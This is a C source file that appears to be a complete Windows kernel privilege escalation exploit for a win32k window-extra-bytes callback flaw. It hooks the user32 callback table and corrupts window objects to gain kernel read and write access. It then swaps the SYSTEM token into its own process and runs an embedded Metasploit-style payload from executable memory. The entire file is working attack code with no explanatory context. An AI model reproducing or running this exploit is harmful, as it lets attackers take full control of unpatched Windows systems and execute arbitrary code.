#include <windows.h>
#include <time.h>

#include "definitions.h"

typedef PVOID (NTAPI* lHMValidateHandle)(HANDLE h, int type);
typedef PVOID (NTAPI* fnxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef DWORD64 QWORD;

fHMValidateHandle HMValidateHandle = NULL;
fnxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
DWORD g_dwRandom = 0;
QWORD g_pMem5 = 0;
HWND  g_hWndMin = 0;
HWND  g_hWndMax = 0;
BOOL  g_bIsInit = FALSE;
ULONG_PTR* g_pUser32CallbackTable = NULL;

DWORD g_pmbi_rcBar_left = 0;
DWORD g_offset_0x1 = 0;
QWORD g_qwMinBaseAddress = 0;
QWORD g_qwRegionSize = 0;
DWORD g_Thrdeskhead_cLockobj_Min = 0;
DWORD g_Thrdeskhead_cLockboj_Max = 0;


const WORD offset_ActiveProcessLinks = 0x2F0;
const WORD offset_InheritedFromUniqueProcessId = 0x3E8;
const WORD offset_Token = 0x360;
const WORD offset_UniqueProcessId = 0x2E8;
const WORD offset_tagWND_WndExtra = 0x128;


typedef struct _MSF_PAYLOAD {
	DWORD  dwSize;
	CHAR  cPayloadData[];
} MSF_PAYLOAD;
typedef MSF_PAYLOAD* PMSF_PAYLOAD;


ULONG_PTR GetPEB(void) {
	return (ULONG_PTR)__readgsqword(0x60);
}


ULONG_PTR* GetUser32CallbackTable() {
	return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}


HWND GuessHwnd(QWORD* pBaseAddress, SIZE_T dwRegionSize) {
	QWORD qwBaseAddressBak = *pBaseAddress;
	QWORD qwBaseAddress = *pBaseAddress;
	SIZE_T dwRegionSizeBak = dwRegionSize;
	HWND hwndMagicWindow = NULL;

	do {
		while (*(WORD*)qwBaseAddress != g_dwRandom && dwRegionSize > 0) {
			qwBaseAddress += sizeof(WORD);
			dwRegionSize--;
		}

		if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) {
			qwBaseAddress = qwBaseAddress + sizeof(DWORD);
			QWORD qwSub = qwBaseAddressBak - qwBaseAddress;
			dwRegionSize = dwRegionSizeBak + qwSub;
		}

		hwndMagicWindow = (*(HWND*)(qwBaseAddress - 0xc8));
		if (hwndMagicWindow) {
			break;
		}
	} while (TRUE);
	return hwndMagicWindow;
}


PVOID Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
	if (*pSize == g_dwRandom) {
		g_offset_0x1 = 1;
		HWND hwndMagic = GuessHwnd(&g_qwMinBaseAddress, g_qwRegionSize);
		if (hwndMagic) {
			NtUserConsoleControl(6i64, &hwndMagic, 0x10);
			ULONG_PTR Result[3] = { g_Thrdeskhead_cLockobj_Min, 0, 0 };
			NtCallbackReturn(&Result, sizeof(Result), 0);
		}
	}
	return g_xxxClientAllocWindowClassExtraBytes(pSize);
}


BOOL InstallHooks(void) {
	DWORD dwOldProtect;

	ULONG_PTR* ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */

	VirtualProtect((PVOID)ptrAddr, sizeof(PVOID), PAGE_READWRITE, &dwOldProtect);
	g_xxxClientAllocWindowClassExtraBytes = *(fnxxxClientAllocWindowClassExtraBytes*)ptrAddr;
	*(ULONG_PTR*)ptrAddr = (ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes;
	VirtualProtect((PVOID)ptrAddr, sizeof(PVOID), dwOldProtect, &dwOldProtect);
	return TRUE;
}


LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
	LRESULT lResult;
	switch (uMsg) {
	default:
		lResult = DefWindowProc(hWnd, uMsg, wParam, lParam);
	}
	return lResult;
}


QWORD KernelRead(ULONG_PTR DestAddr) {
	MENUBARINFO pmbi;
	memset(&pmbi, 0, sizeof(MENUBARINFO));
	pmbi.cbSize = sizeof(MENUBARINFO);

	if (!g_bIsInit) {
		QWORD* pTemp = (QWORD*)LocalAlloc(LMEM_ZEROINIT, 0x200);
		QWORD qwBase = 0x000000400000000;
		QWORD qwAdd = 0x0000000800000008;

		for (int i = 0; i < 0x40; i++) {
			pTemp[i] = qwBase + qwAdd * i;
		}

		*(QWORD*)g_pMem5 = (QWORD)pTemp;
		GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
		g_pmbi_rcBar_left = pmbi.rcBar.left;
		g_bIsInit = TRUE;
	}
	*(QWORD*)g_pMem5 = DestAddr - g_pmbi_rcBar_left;
	GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
	return (DWORD)pmbi.rcBar.left + ((QWORD)pmbi.rcBar.top << 32);
}


ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + offset_tagWND_WndExtra, DestAddr);
	return (ULONG_PTR)SetWindowLongPtrA(g_hWndMax, 0, Data);
}


BOOL ResolveSymbols(void) {
	HMODULE hUser32 = LoadLibrary("user32");
	PBYTE pIsMenu = NULL;
	DWORD dwCursor = 0;

	if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
		return FALSE;
	}

	while (*(pIsMenu + dwCursor) != 0xe8) {
		if (dwCursor++ > 0x20) {
			return FALSE;
		}
	}

	HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);

	if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
		return FALSE;
	}

	return TRUE;
}


void UpgradeToken(QWORD qwEprocess) {
	QWORD qwEprocessBak = qwEprocess;
	DWORD dwPidSelf = GetCurrentProcessId();
	QWORD dwSystemToken = 0;
	QWORD dwMyToken = 0;
	QWORD qwMyTokenAddr = 0;

	while (!dwSystemToken || !qwMyTokenAddr) {
		DWORD dwPidRead = KernelRead(qwEprocess + offset_UniqueProcessId) & 0xffffffff;
		if (dwPidRead == 4)
			dwSystemToken = KernelRead(qwEprocess + offset_Token);
		if (dwPidRead == dwPidSelf)
			qwMyTokenAddr = qwEprocess + offset_Token;
		qwEprocess = KernelRead(qwEprocess + offset_ActiveProcessLinks) - offset_ActiveProcessLinks;

		if (qwEprocessBak == qwEprocess)
			break;
	}

	KernelWrite(qwMyTokenAddr, dwSystemToken);
}


void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
	PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pPayload)
		return;
	CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
	CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}


DWORD Exploit(PVOID pPayload) {
	DWORD dwIndex;
	QWORD qwExploit;
	QWORD qwRPDesk = 0;

	if (!ResolveSymbols()) {
		return 0;
	}

	if (!InstallHooks()) {
		return 0;
	}

	srand(time(0) & 0xffffffff);
	g_dwRandom = (rand() % 255 + 0x1234) | 1;

	WNDCLASSEXW wndClass;
	memset(&wndClass, 0, sizeof(WNDCLASSEXW));

	wndClass.lpfnWndProc = (WNDPROC)WindowProc;
	wndClass.cbSize = 80;
	wndClass.style = 3;
	wndClass.cbClsExtra = 0;
	wndClass.cbWndExtra = 32;
	wndClass.hInstance = GetModuleHandleW(NULL);
	wndClass.lpszClassName = L"normalClass";
	ATOM g_lpWcxNormal = RegisterClassExW(&wndClass);
	wndClass.cbWndExtra = g_dwRandom;
	wndClass.lpszClassName = L"magicClass";
	ATOM g_lpWcxMagic = RegisterClassExW(&wndClass);

	CreatePopupMenu();

	/* setup data structures for the read primitive that will be used later on */
	QWORD  pMem1 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0x200);
	QWORD  pMem2 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0x30);
	QWORD  pMem3 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 4);
	QWORD  pMem4 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 0xA0);
	g_pMem5 = (QWORD)LocalAlloc(LMEM_ZEROINIT, 8);

	((QWORD*)pMem1)[0x00] = 0x88888888;
	((QWORD*)pMem1)[0x05] = pMem2;
	((QWORD*)pMem1)[0x08] = 0x0000000100000001;
	((QWORD*)pMem1)[0x0b] = g_pMem5;

	((DWORD*)pMem2)[0x0b] = 16;

	((QWORD*)pMem3)[0] = pMem1;
	((QWORD*)pMem3)[1] = 16;

	((QWORD*)pMem4)[0x13] = pMem3;

	MEMORY_BASIC_INFORMATION Buffer;
	memset(&Buffer, 0, sizeof(MEMORY_BASIC_INFORMATION));

	QWORD Thrdeskhead_cLockObj1 = 0;
	QWORD Thrdeskhead_cLockObj2 = 0;

	QWORD arrEntryDesktop[10] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
	HWND arrhwndNoraml[10] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };

	for (dwIndex = 0; dwIndex < 10; dwIndex += 1) {
		HWND hwndNormal = CreateWindowExW(
			WS_EX_NOACTIVATE,
			(LPCWSTR)g_lpWcxNormal,
			L"somewnd",
			WS_DISABLED,
			0,
			0,
			0,
			0,
			0,
			CreateMenu(),
			GetModuleHandleW(NULL),
			NULL);

		arrhwndNoraml[dwIndex] = hwndNormal;
		QWORD qwfirstEntryDesktop = (QWORD)HMValidateHandle(hwndNormal, TYPE_WINDOW);
		arrEntryDesktop[dwIndex] = qwfirstEntryDesktop;
		VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, sizeof(MEMORY_BASIC_INFORMATION));

		if (g_qwMinBaseAddress == 0) {
			g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
			g_qwRegionSize = Buffer.RegionSize;
		} else {
			if (g_qwMinBaseAddress < (QWORD)Buffer.BaseAddress) {
			} else {
				g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress;
				g_qwRegionSize = Buffer.RegionSize;
			}
		}
	}

	Thrdeskhead_cLockObj1 = ((DWORD*)arrEntryDesktop[0])[2];
	Thrdeskhead_cLockObj2 = ((DWORD*)arrEntryDesktop[1])[2];

	g_hWndMin = *(HWND*)((PBYTE)arrhwndNoraml + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));

	dwIndex = (Thrdeskhead_cLockObj1 < Thrdeskhead_cLockObj2) ? 1 : 0;
	g_hWndMax = arrhwndNoraml[dwIndex];
	QWORD firstEntryDesktop_Max = arrEntryDesktop[dwIndex];
	firstEntryDesktop_Max = arrEntryDesktop[dwIndex];
	QWORD firstEntryDesktop_Min = *(QWORD*)((PBYTE)arrEntryDesktop + (Thrdeskhead_cLockObj2 < Thrdeskhead_cLockObj1 ? 8 : 0));

	g_Thrdeskhead_cLockobj_Min = *(DWORD*)(firstEntryDesktop_Min + 8);
	g_Thrdeskhead_cLockboj_Max = *(DWORD*)(firstEntryDesktop_Max + 8);
	for (dwIndex = 2; dwIndex < 10; dwIndex += 1) {
		DestroyWindow(arrhwndNoraml[dwIndex]);
	}

	NtUserConsoleControl(6, &g_hWndMin, 0x10);

	DWORD WndMin_WndExtra = *(DWORD*)(firstEntryDesktop_Min + offset_tagWND_WndExtra);
	DWORD WndMax_WndExtra = *(DWORD*)(firstEntryDesktop_Max + offset_tagWND_WndExtra);

	HWND g_hWndMagic = CreateWindowExW(
		WS_EX_NOACTIVATE,
		(LPCWSTR)g_lpWcxMagic,
		L"somewnd",
		WS_DISABLED,
		0,
		0,
		0,
		0,
		0,
		CreateMenu(),
		GetModuleHandleW(NULL),
		NULL);
	SetWindowLongW(g_hWndMagic, offset_tagWND_WndExtra, g_Thrdeskhead_cLockobj_Min);
	SetWindowLongW(g_hWndMagic, 0xc8, 0xffffffff);
	qwRPDesk = *(QWORD*)(firstEntryDesktop_Max + 0x18);
	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk ^ 0x4000000000000000);

	qwExploit = SetWindowLongPtrA(g_hWndMax, -12, pMem4);
	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk);
	/* at this point the read primitive has been setup */

	QWORD qwFrist = KernelRead(qwExploit + 0x50);
	QWORD qwThird = KernelRead(KernelRead(qwFrist + 0x18) + 0x80);
	ULONG_PTR EProcess = KernelRead(KernelRead(KernelRead(qwFrist + 0x10)) + 0x220);

	UpgradeToken(EProcess);

	ExecutePayload(pPayload);

	ULONG_PTR pWndMagic = (ULONG_PTR)HMValidateHandle(g_hWndMagic, TYPE_WINDOW);
	ULONG_PTR qwcbwndExtra = *(ULONG_PTR*)(pWndMagic + 0xe0) ^ 0x80000000000;

	KernelWrite(qwThird + *(DWORD*)(pWndMagic + sizeof(PVOID)) + offset_tagWND_WndExtra, 0);
	KernelWrite(qwThird + *(DWORD*)(pWndMagic + sizeof(PVOID)) + 0xe0, qwcbwndExtra);

	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk ^ 0x4000000000000000);
	SetWindowLongPtrA(g_hWndMax, -12, qwExploit);

	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + 0x18, qwRPDesk);
	SetWindowLongPtrA(g_hWndMin, g_Thrdeskhead_cLockboj_Max - g_Thrdeskhead_cLockobj_Min + offset_tagWND_WndExtra, WndMax_WndExtra);
	SetWindowLongPtrA(g_hWndMin, 0x128, WndMin_WndExtra);
	return 0;
}
